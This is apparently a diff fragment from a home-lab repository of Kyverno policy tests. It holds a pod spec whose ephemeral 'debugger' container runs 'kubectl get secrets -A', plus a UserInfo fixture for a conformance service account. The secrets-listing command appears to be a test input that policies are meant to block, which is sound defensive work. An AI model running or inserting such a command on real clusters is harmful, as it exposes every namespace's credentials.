spec:
|
||||
serviceAccountName: conformance-runner
|
||||
ephemeralContainers:
|
||||
- name: debugger
|
||||
image: docker.io/library/alpine:latest
|
||||
command: ["/bin/sh", "-c", "kubectl get secrets -A"]
|
||||
containers:
|
||||
- name: runner
|
||||
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
|
||||
command: ["./run.sh"]
|
||||
args: ["--layer", "l2"]
|
||||
securityContext:
|
||||
runAsNonRoot: true
|
||||
allowPrivilegeEscalation: false
|
||||
volumes:
|
||||
- name: workspace
|
||||
emptyDir: {}
|
||||
- name: results
|
||||
emptyDir: {}
|
||||
@@ -0,0 +1,12 @@
|
||||
# The requesting identity the policy keys on. Without this the `subjects` match never fires and
|
||||
# every case below would trivially "pass" — proving nothing.
|
||||
apiVersion: cli.kyverno.io/v1alpha1
|
||||
kind: UserInfo
|
||||
metadata:
|
||||
name: conformance-trigger
|
||||
userInfo:
|
||||
username: system:serviceaccount:conformance:conformance-trigger
|
||||
groups:
|
||||
- system:serviceaccounts
|
||||
- system:serviceaccounts:conformance
|
||||
- system:authenticated
|
||||
Reference in new issue
Block a user